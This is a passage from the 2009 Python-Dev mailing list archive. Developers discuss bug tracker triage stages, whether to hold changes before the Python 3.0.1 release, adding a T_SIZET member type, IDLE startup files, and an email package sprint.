are outdated. Others have patches (and sometimes tests), but > aren't confirmed as bugs. So the Stage field would be easier to use if > it included: 'not reproduced in current releases', 'reproduced, needs > updating', 'is this really a bug?' (i.e., should I be writing a > test/confirming or discussing the issue?), 'on hold/blocked' (has a > blocking dependency). > Sounds like a "*verify issue* stage is needed. Although I guess I kind of assumed as part of the triage issue verification would happen as well, but that might be too much as a single step. All the other ones can use the current stages (e.g. a missing test with a patch is still at a *test needed* stage, it just happens to be able to skip to review once that test is ready). > > I'm not sure those would be useful for new issues, I think handling > the important cases efficiently is more desirable than tuning the > workflow for old issues. It's telling that the Stage that caught my > attention was [triage] :D > =) > > Thank you for the support and feedback (and Stages guide!), it helps a lot > :) Glad it's helpful! -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From barry at python.org Thu Feb 12 19:40:49 2009 From: barry at python.org (Barry Warsaw) Date: Thu, 12 Feb 2009 13:40:49 -0500 Subject: [Python-Dev] 3.0.1 and 2.6.2 In-Reply-To: <4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com> References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com> <4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com> Message-ID: <5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 12, 2009, at 1:29 PM, Jesse Noller wrote: > On Thu, Feb 12, 2009 at 1:20 PM, Antoine Pitrou > wrote: >> Jesse Noller gmail.com> writes: >>> >>> I'm afraid I've gone branch-stupid. I have a a few changes that >>> should >>> be on the boat for the next release, but I can't for the life of me >>> remember which branch to push to - right now the changes are on >>> trunk >>> and py3k. >> >> The next release (3.0.1) is tomorrow. Unless those changes are >> really important, >> I humbly advocate deferring them to after tomorrow, for fear that >> they introduce >> last-minute breakage. >> >> (the branch names are release26-maint and release30-maint, if >> that's what you're >> asking :-)) >> > > The changes have been stable since checked in, I have no problems > holding off, but they're also not big. Doc changes, fixes to the > logger and a segfault fix mainly. I have no problem holding off. The documentation change is probably safe. Given that I'm tagging 3.0.1 in about 4.5 hours, please be very conservative with any other changes. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZRtMnEjvBPtnXfVAQKIMAP+MgyP05QgaRJ52+oonlusZVDEGilrJPN8 7HZxT8Mh/zuYUXiizcZqYxYErj+GNfiM9vIBegLrPz9L+DvZfKCvNiOHcKFzdNxU b01XBYi82gylsZ9Xeou2CKZrppquyP/Ug+1GIMsrScCyE0YSz9Jk1E/YIZ8wsJd0 AiDGuFOYmjI= =fRRY -----END PGP SIGNATURE----- From jnoller at gmail.com Thu Feb 12 19:43:09 2009 From: jnoller at gmail.com (Jesse Noller) Date: Thu, 12 Feb 2009 13:43:09 -0500 Subject: [Python-Dev] 3.0.1 and 2.6.2 In-Reply-To: <5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org> References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com> <4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com> <5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org> Message-ID: <4222a8490902121043u5f613304g8b4fd6af3ee654a3@mail.gmail.com> On Thu, Feb 12, 2009 at 1:40 PM, Barry Warsaw wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Feb 12, 2009, at 1:29 PM, Jesse Noller wrote: > >> On Thu, Feb 12, 2009 at 1:20 PM, Antoine Pitrou >> wrote: >>> >>> Jesse Noller gmail.com> writes: >>>> >>>> I'm afraid I've gone branch-stupid. I have a a few changes that should >>>> be on the boat for the next release, but I can't for the life of me >>>> remember which branch to push to - right now the changes are on trunk >>>> and py3k. >>> >>> The next release (3.0.1) is tomorrow. Unless those changes are really >>> important, >>> I humbly advocate deferring them to after tomorrow, for fear that they >>> introduce >>> last-minute breakage. >>> >>> (the branch names are release26-maint and release30-maint, if that's what >>> you're >>> asking :-)) >>> >> >> The changes have been stable since checked in, I have no problems >> holding off, but they're also not big. Doc changes, fixes to the >> logger and a segfault fix mainly. I have no problem holding off. > > The documentation change is probably safe. Given that I'm tagging 3.0.1 in > about 4.5 hours, please be very conservative with any other changes. > > Barry > I'm going to hold off. But now I know, and knowing is half the battle. From brett at python.org Thu Feb 12 19:44:50 2009 From: brett at python.org (Brett Cannon) Date: Thu, 12 Feb 2009 10:44:50 -0800 Subject: [Python-Dev] 3.0.1 and 2.6.2 In-Reply-To: <5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org> References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com> <4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com> <5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org> Message-ID: On Thu, Feb 12, 2009 at 10:40, Barry Warsaw wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Feb 12, 2009, at 1:29 PM, Jesse Noller wrote: > > On Thu, Feb 12, 2009 at 1:20 PM, Antoine Pitrou >> wrote: >> >>> Jesse Noller gmail.com> writes: >>> >>>> >>>> I'm afraid I've gone branch-stupid. I have a a few changes that should >>>> be on the boat for the next release, but I can't for the life of me >>>> remember which branch to push to - right now the changes are on trunk >>>> and py3k. >>>> >>> >>> The next release (3.0.1) is tomorrow. Unless those changes are really >>> important, >>> I humbly advocate deferring them to after tomorrow, for fear that they >>> introduce >>> last-minute breakage. >>> >>> (the branch names are release26-maint and release30-maint, if that's what >>> you're >>> asking :-)) >>> >>> >> The changes have been stable since checked in, I have no problems >> holding off, but they're also not big. Doc changes, fixes to the >> logger and a segfault fix mainly. I have no problem holding off. >> > > The documentation change is probably safe. Given that I'm tagging 3.0.1 in > about 4.5 hours, please be very conservative with any other changes. > What about the segfault problem? Shouldn't that get in? -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From martin at v.loewis.de Thu Feb 12 19:50:09 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 12 Feb 2009 19:50:09 +0100 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> <200902121434.17723.victor.stinner@haypocalc.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> Message-ID: <49946F61.6020803@v.loewis.de> >> Oh, I realized that there is a component called "Unicode". So it should be >> possible to write a request to list all issues related to unicode. > > Nice, I'll add set this component for issues that don't have it. I can > still add people to these issues, if they want. We can also add more components if this would support your triage. As a necessary condition, I'd ask that there would be a "significant" number of issues classified under such a new component. Regards, Martin From barry at python.org Thu Feb 12 19:57:18 2009 From: barry at python.org (Barry Warsaw) Date: Thu, 12 Feb 2009 13:57:18 -0500 Subject: [Python-Dev] 3.0.1 and 2.6.2 In-Reply-To: References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com> <4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com> <5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org> Message-ID: <961429A5-6C4B-427F-B565-DD46E9ADA9E5@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 12, 2009, at 1:44 PM, Brett Cannon wrote: > What about the segfault problem? Shouldn't that get in? If it can be done without a regression, yes. Do it now and that will give the buildbots time to run. If they go red, we'll back it out. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZRxDnEjvBPtnXfVAQLJCQP/d+BUqjwxHDyK0Dv8i7TlgoYfjHCgCu/M zQVrMihB3lyoem7os2VdGubButLwOoMP69uU9Rieo62Fag1bxF6ME2HJC6dgJ3ge xUwRD+01hCkkWNeONdYN/cANjkezE7i4O9z7YyGVJuktO3ZbdY/vjYbY/HE2ZrGK +wguhd06tA0= =c6q3 -----END PGP SIGNATURE----- From jnoller at gmail.com Thu Feb 12 20:40:48 2009 From: jnoller at gmail.com (Jesse Noller) Date: Thu, 12 Feb 2009 14:40:48 -0500 Subject: [Python-Dev] 3.0.1 and 2.6.2 In-Reply-To: <961429A5-6C4B-427F-B565-DD46E9ADA9E5@python.org> References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com> <4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com> <5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org> <961429A5-6C4B-427F-B565-DD46E9ADA9E5@python.org> Message-ID: <4222a8490902121140n3cd927f6y1bb47799754c2fbf@mail.gmail.com> On Thu, Feb 12, 2009 at 1:57 PM, Barry Warsaw wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Feb 12, 2009, at 1:44 PM, Brett Cannon wrote: > >> What about the segfault problem? Shouldn't that get in? > > If it can be done without a regression, yes. Do it now and that will give > the buildbots time to run. If they go red, we'll back it out. > > Barry > I am waiting for the tests to complete, and then I will check in the merge. From dalcinl at gmail.com Thu Feb 12 21:42:15 2009 From: dalcinl at gmail.com (Lisandro Dalcin) Date: Thu, 12 Feb 2009 18:42:15 -0200 Subject: [Python-Dev] Adding T_SIZET to structmember.h Message-ID: After a rather long hacking on Cython in order to support 'Py_ssize_t' and 'size_t' the right way, I would like to propose the inclusion of a new T_SIZET in structmember.h in order to suport 'size_t' struct fields with PyMemberDef. Would such addition be accepted for 2.7 and 3.1? -- Lisandro Dalc?n --------------- Centro Internacional de M?todos Computacionales en Ingenier?a (CIMEC) Instituto de Desarrollo Tecnol?gico para la Industria Qu?mica (INTEC) Consejo Nacional de Investigaciones Cient?ficas y T?cnicas (CONICET) PTLC - G?emes 3450, (3000) Santa Fe, Argentina Tel/Fax: +54-(0)342-451.1594 From MLMLists at Comcast.net Thu Feb 12 23:34:09 2009 From: MLMLists at Comcast.net (Mitchell L Model) Date: Thu, 12 Feb 2009 17:34:09 -0500 Subject: [Python-Dev] .Idle.py init file Message-ID: I was trying to disentangle some IDLE behavior today and discovered that If the user has a .Idle.py file IDLE will run it when it starts up. This is independent of running IDLESTARTUP or PYTHONSTARTUP when the -s switch is given. It is run by Tk.readprofile as called from Tk.__init__. The "Idle" comes from the name passed to TK() when PyShell.py creates its Tk root. In fact, not only is it independent, but it works differently: any imports done in .Idle.py go into Tk's name space, whereas IDLESTARTUP/PYTHONSTARTUP is exec'd and imports go into the interpreter's namespace. I don't think this behavior is documented anywhere, although since I had a .Idle.py file I must have seen something about this somewhere at some point. It's very hard to search for ".Idle.py" when "idle.py" is a file whose name appears frequently in discussions. Is this something that I should submit as an Issue or is it widely known behavior? It should at least be documented. From MLMLists at Comcast.net Thu Feb 12 23:36:06 2009 From: MLMLists at Comcast.net (Mitchell L Model) Date: Thu, 12 Feb 2009 17:36:06 -0500 Subject: [Python-Dev] patch to make IDLE load IDLESTARTUP/PYTHONSTARTUP on restart Message-ID: I have submitted patches to idlelib/PyShell.py for Python 2.7 (Issue 5233) and 3.1 (5234), made against local repository copies as updated an hour ago. The purpose of the patch is to have IDLE load IDLESTARTUP or PYTHONSTARTUP on restart. Along the way I also made -s the default so IDLESTARTUP or PYTHONSTARTUP gets loaded when IDLE is started by double-clicking rather than from the command line (no reasonable way for the user to get the -s switch into IDLE.app on the Mac). I decided that on restart IDLE should load the file that was loaded when it started in the first place, on the off chance that something had changed in the interim. I changed the meaning of the -s switch to take an argument that is an alternate startup file to load instead of IDLESTARTUP or PYTHONSTARTUP. It might be better, though, to leave -s as it is and mark it deprecated or obsolete or the default or whatever and use a different letter to specify a load file. I added a switch -q to suppress loading of the startup file. From ajaksu at gmail.com Fri Feb 13 00:51:55 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Thu, 12 Feb 2009 21:51:55 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com> Message-ID: <2d75d7660902121551w1604a17bgd428824b6c1b4aa1@mail.gmail.com> Brett Cannon wrote: > Sounds like a "*verify issue* stage is needed. Although I guess I kind of > assumed as part of the triage issue verification would happen as well, but > that might be too much as a single step. I'd rather think about it a bit more, available stages cover the vast majority of the issues. When more people have spent spend some time setting and querying stages, new ones will be proposed to fill eventual gaps. > All the other ones can use the current stages (e.g. a missing test with > a patch is still at a *test needed* stage, it just happens to be able to > skip to review once that test is ready). Yes, it makes a lot of sense. These milestones will help getting things done, anything more fine-grained should have a good, well-thougth use case (tracker-discuss is efficient for this). I have a couple of ideas for the work I'm doing, but they mostly revolve around client-side optimizations. Something like a DVCS flavor to triaging :) Daniel From ajaksu at gmail.com Fri Feb 13 01:25:18 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Thu, 12 Feb 2009 22:25:18 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <49946F61.6020803@v.loewis.de> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> <200902121434.17723.victor.stinner@haypocalc.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> Message-ID: <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> Martin v. L?wis wrote: >>> Oh, I realized that there is a component called "Unicode". So it should be >>> possible to write a request to list all issues related to unicode. >> >> Nice, I'll add set this component for issues that don't have it. I can >> still add people to these issues, if they want. > > We can also add more components if this would support your triage. > > As a necessary condition, I'd ask that there would be a "significant" > number of issues classified under such a new component. Thanks, Martin. I don't have any request for new components so far, but would be happy to set new ones that might be created from other people's suggestions. I think some statistics could help us. I have a couple of suggestions regarding the UI, I should submit issues and patches to the meta-tracker sometime next week (got a python-dev instance running here, but haven't even looked at it). Mostly things like checkboxes for components, 'no version' being displayed, easier searches for missing/nothing (-1, right?), and a 'search in all issues' button for logged in users. Now, getting into pie-in-the-sky territory, if someone (not logged in) was to download all issues for scrapping and feeding to a local database, what time of day would be less disastrous for the server? :) Regards, Daniel From stephen at xemacs.org Fri Feb 13 01:22:56 2009 From: stephen at xemacs.org (Stephen J. Turnbull) Date: Fri, 13 Feb 2009 09:22:56 +0900 Subject: [Python-Dev] Tracker archeology In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com> Message-ID: <87zlgrrxr3.fsf@xemacs.org> Brett Cannon writes: > Sounds like a "*verify issue* stage is needed. Although I guess I kind of > assumed as part of the triage issue verification would happen as well, but > that might be too much as a single step. Are you confusing "reproduce" with "verify"? Remember, one of the three classes for triage is "not a problem we need to deal with". Reproduction really is the same thing as providing a test. > All the other ones can use the current stages (e.g. a missing test with a > patch is still at a *test needed* stage, it just happens to be able to skip > to review once that test is ready). What I did with XEmacs's tracker (which has borrowed a lot from Python's, thank you all *very* much!) is to have an "in progress" stage, with "needs test|patch|doc" and "has test|patch|doc" *keywords*. The difference in semantics is that "needs" is a judgment by the supervising reviewer, and the change (in theory) shouldn't be committed until all "needs" are satisfied, while "has" is what the contributor submitted. So they are independent, and you could even have both "has patch" and "needs patch" present if the current patch isn't good enough. This is too complex to expect people to execute, even IMO, but maybe there's the germ of an idea there? For example you could tell contributors that if the "has patch" flag isn't set, the patch won't get noticed by anybody. From brett at python.org Fri Feb 13 01:43:22 2009 From: brett at python.org (Brett Cannon) Date: Thu, 12 Feb 2009 16:43:22 -0800 Subject: [Python-Dev] Tracker archeology In-Reply-To: <87zlgrrxr3.fsf@xemacs.org> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com> <87zlgrrxr3.fsf@xemacs.org> Message-ID: On Thu, Feb 12, 2009 at 16:22, Stephen J. Turnbull wrote: > Brett Cannon writes: > > > Sounds like a "*verify issue* stage is needed. Although I guess I kind > of > > assumed as part of the triage issue verification would happen as well, > but > > that might be too much as a single step. > > Are you confusing "reproduce" with "verify"? Remember, one of the > three classes for triage is "not a problem we need to deal with". > Reproduction really is the same thing as providing a test. > I was aiming toward Daniel's issue of whether the bug could be reproduced and thus verified as an issue when it is an old issue. But hopefully that won't happen too often so adding a new stage is probably a bit much. > > > All the other ones can use the current stages (e.g. a missing test with > a > > patch is still at a *test needed* stage, it just happens to be able to > skip > > to review once that test is ready). > > What I did with XEmacs's tracker (which has borrowed a lot from > Python's, thank you all *very* much!) is to have an "in progress" > stage, with "needs test|patch|doc" and "has test|patch|doc" > *keywords*. The difference in semantics is that "needs" is a judgment > by the supervising reviewer, and the change (in theory) shouldn't be > committed until all "needs" are satisfied, while "has" is what the > contributor submitted. So they are independent, and you could even > have both "has patch" and "needs patch" present if the current patch > isn't good enough. > > This is too complex to expect people to execute, even IMO, but maybe > there's the germ of an idea there? For example you could tell > contributors that if the "has patch" flag isn't set, the patch won't > get noticed by anybody. > It's a question of whether we can stay on top of updating issues or not. If we can actually stay on the ball and update the status of issues then having the OP update something shouldn't be needed as that is too easy of an oversight for a casual contributor; minimizing the burden on contributions by making the issue workflow easy for the contributor and efficient for us is the top priority, but I think it is reasonable for us to do a little bit more to make it easier on others. And while you are right that the test/patch/doc stages can be view more in a parallel fashion than the linear one the stage drop-down provides, specifying the easiest of what is needed should help get more people involved. Plus they are in the order things should be done in the ideal situation. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From ajaksu at gmail.com Fri Feb 13 01:45:09 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Thu, 12 Feb 2009 22:45:09 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <87zlgrrxr3.fsf@xemacs.org> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com> <87zlgrrxr3.fsf@xemacs.org> Message-ID: <2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com> Stephen J. Turnbull wrote: > Reproduction really is the same thing as providing a test. That was where I got confused: many issues are easy to reproduce ('test'), but need some thinking to get automated tests right. urllib always feels like this to me, except 'thinking' -> 'getting lost over and over'. Reading 'test needed' as 'automated test needed', things make a lot of sense. I have to test my patch against a good representation of the issue, regression tests must pass, 'automated test needed' fits well :) Daniel From brett at python.org Fri Feb 13 01:59:21 2009 From: brett at python.org (Brett Cannon) Date: Thu, 12 Feb 2009 16:59:21 -0800 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com> <87zlgrrxr3.fsf@xemacs.org> <2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com> Message-ID: On Thu, Feb 12, 2009 at 16:45, Daniel (ajax) Diniz wrote: > Stephen J. Turnbull wrote: > > Reproduction really is the same thing as providing a test. > > That was where I got confused: many issues are easy to reproduce > ('test'), but need some thinking to get automated tests right. > > urllib always feels like this to me, except 'thinking' -> 'getting > lost over and over'. Reading 'test needed' as 'automated test needed', > things make a lot of sense. I have to test my patch against a good > representation of the issue, regression tests must pass, 'automated > test needed' fits well :) > Go with "Unit test needed" so it's short and to the point and you have a deal. =) -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From steve at holdenweb.com Fri Feb 13 06:01:51 2009 From: steve at holdenweb.com (Steve Holden) Date: Fri, 13 Feb 2009 00:01:51 -0500 Subject: [Python-Dev] Tracker archeology In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com> <87zlgrrxr3.fsf@xemacs.org> <2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com> Message-ID: <4994FEBF.3040700@holdenweb.com> Brett Cannon wrote: > > > On Thu, Feb 12, 2009 at 16:45, Daniel (ajax) Diniz > wrote: > > Stephen J. Turnbull wrote: > > Reproduction really is the same thing as providing a test. > > That was where I got confused: many issues are easy to reproduce > ('test'), but need some thinking to get automated tests right. > > urllib always feels like this to me, except 'thinking' -> 'getting > lost over and over'. Reading 'test needed' as 'automated test needed', > things make a lot of sense. I have to test my patch against a good > representation of the issue, regression tests must pass, 'automated > test needed' fits well :) > > > Go with "Unit test needed" so it's short and to the point and you have a > deal. =) > Can I just say (without in any way wanting to get involved in what might be considered as "work") that it's encouraging the tracker received a bit more TLC we might eventually be able to see at least the occasional week where the issue count increment was negative :) So thanks to everyone who's taking the time to deal with this low-profile not-very-glamorous issue. I, for one, appreciate it. regards Steve -- Steve Holden +1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/ From martin at v.loewis.de Fri Feb 13 06:49:46 2009 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Fri, 13 Feb 2009 06:49:46 +0100 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> <200902121434.17723.victor.stinner@haypocalc.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> Message-ID: <499509FA.5030607@v.loewis.de> > Now, getting into pie-in-the-sky territory, if someone (not logged in) > was to download all issues for scrapping and feeding to a local > database, what time of day would be less disastrous for the server? :) I think HTML scraping is a really bad idea. What is it that you specifically want to do with these data? Regards, Martin From ajaksu at gmail.com Fri Feb 13 07:23:40 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Fri, 13 Feb 2009 04:23:40 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <499509FA.5030607@v.loewis.de> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> <200902121434.17723.victor.stinner@haypocalc.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> Message-ID: <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> "Martin v. L?wis" wrote: >> Now, getting into pie-in-the-sky territory, if someone (not logged in) >> was to download all issues for scrapping and feeding to a local >> database, what time of day would be less disastrous for the server? :) > > I think HTML scraping is a really bad idea. What is it that you > specifically want to do with these data? For starters, free form searches, aggregation and filtering of results. The web interface is pretty good for handling individual issues, but not so good for adding someone as nosy to lots of issues. With some more time and effort, I'd be able to: Organize a local workflow with tweaked UI From ajaksu at gmail.com Fri Feb 13 07:34:35 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Fri, 13 Feb 2009 04:34:35 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> <200902121434.17723.victor.stinner@haypocalc.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> Message-ID: <2d75d7660902122234g46acc245l5dd7e0052ccd2c2e@mail.gmail.com> Daniel (ajax) Diniz wrote: > "Martin v. L?wis" wrote: >>> Now, getting into pie-in-the-sky territory, if someone (not logged in) >>> was to download all issues for scrapping and feeding to a local >>> database, what time of day would be less disastrous for the server? :) >> >> I think HTML scraping is a really bad idea. What is it that you >> specifically want to do with these data? > > For starters, free form searches, aggregation and filtering of > results. The web interface is pretty good for handling individual > issues, but not so good for adding someone as nosy to lots of issues. > > With some more time and effort, I'd be able to: > Organize a local workflow with tweaked UI > Send emails before they were done :D Use a VCS for in-progress activities Figure out how to serialize and submit the work done locally Share results with interested parties off-tracker (e.g., the auto-nosy mentioned up-thread) Right now, more efficient searching and aggregation along with some (local, flexible) UI tweaks sum it up. Maybe I can offer a patch for something like PyPI's 'simple' interface? Cheers, Daniel From g.brandl at gmx.net Fri Feb 13 09:58:19 2009 From: g.brandl at gmx.net (Georg Brandl) Date: Fri, 13 Feb 2009 09:58:19 +0100 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> Message-ID: Daniel (ajax) Diniz schrieb: > Over-spammig: > Sorry, Georg! I only noticed all issues in the Documentation > component are auto-assigned to you today. This meant dozens of unasked > for assignments :-/ That's okay, I'll go through them at the weekend and just unassign what I won't manage to do. But the nice thing about documentation changes is that while writing the change takes about as long as changing an equivalent piece of Python code, there's no new test and waiting for the testsuite needed (except sometimes a spellchecker wouldn't hurt), so it's much quicker :) Thank you for your efforts, they are much appreciated! Georg From barry at python.org Fri Feb 13 14:21:50 2009 From: barry at python.org (Barry Warsaw) Date: Fri, 13 Feb 2009 08:21:50 -0500 Subject: [Python-Dev] email package sprint? Message-ID: <7AC0B62C-B35A-4C69-ABEE-4324F2E4EF2A@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The email package needs a lot of love, especially for Python 3.0. I'm already signed up for two sprints for Pycon, but if there's enough interest I would try at least to find some time to talk with others about improving the email package. Those of you who are going to Pycon, is anybody available to sprint a bit on email? Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZVz7nEjvBPtnXfVAQK7nwQArJMjC9TVxnuuZ+4kBBD3+1pqyXbnRKa/ /nuWCfrqsW5z/RGxWdPjHf/02TCdGXsnRwGhE8bjDgawL0VnO1lTZIXjovy6JvJ0 EpFX5P9TDCuXmcCpiKAk4xKBHo6SrlGpH9A264jTzVe2ri/twVKNBGyUn3eg4tYt ERqH8QrXHok= =1ntw -----END PGP SIGNATURE----- From dickinsm at gmail.com Fri Feb 13 16:15:52 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Fri, 13 Feb 2009 15:15:52 +0000 Subject: [Python-Dev] Adding T_SIZET to structmember.h In-Reply-To: References: Message-ID: <5c6f2a5d0902130715x4d4f4beet7d936f9c549a1335@mail.gmail.com> On Thu, Feb 12, 2009 at 8:42 PM, Lisandro Dalcin wrote: > I would like to propose the inclusion of a new T_SIZET in structmember.h > in order to suport 'size_t' struct fields with PyMemberDef. Would such > addition be accepted for 2.7 and 3.1? Please open a feature request at bugs.python.org, and we'll find out! A working patch would probably be helpful. (It sounds like a sensible addition to me.) Mark From dalcinl at gmail.com Fri Feb 13 16:44:37 2009 From: dalcinl at gmail.com (Lisandro Dalcin) Date: Fri, 13 Feb 2009 13:44:37 -0200 Subject: [Python-Dev] Adding T_SIZET to structmember.h In-Reply-To: <5c6f2a5d0902130715x4d4f4beet7d936f9c549a1335@mail.gmail.com> References: <5c6f2a5d0902130715x4d4f4beet7d936f9c549a1335@mail.gmail.com> Message-ID: Done, http://bugs.python.org/issue5248 Mark, the patch is not trivial, I cannot spend time on this until this is accepted. Hope you understand. On Fri, Feb 13, 2009 at 1:15 PM, Mark Dickinson wrote: > On Thu, Feb 12, 2009 at 8:42 PM, Lisandro Dalcin wrote: >> I would like to propose the inclusion of a new T_SIZET in structmember.h >> in order to suport 'size_t' struct fields with PyMemberDef. Would such >> addition be accepted for 2.7 and 3.1? > > Please open a feature request at bugs.python.org, and we'll find out! A > working patch would probably be helpful. > > (It sounds like a sensible addition to me.) > > Mark > -- Lisandro Dalc?n --------------- Centro Internacional de M?todos Computacionales en Ingenier?a (CIMEC) Instituto de Desarrollo Tecnol?gico para la Industria Qu?mica (INTEC) Consejo Nacional de Investigaciones Cient?ficas y T?cnicas (CONICET) PTLC - G?emes 3450, (3000) Santa Fe, Argentina Tel/Fax: +54-(0)342-451.1594 From status at bugs.python.org Fri Feb 13 18:07:39 2009 From: status at bugs.python.org (Python tracker) Date: Fri, 13 Feb 2009 18:07:39 +0100 (CET) Subject: [Python-Dev] Summary of Python tracker Issues Message-ID: <20090213170740.16F5D785EB@psf.upfronthosting.co.za> ACTIVITY 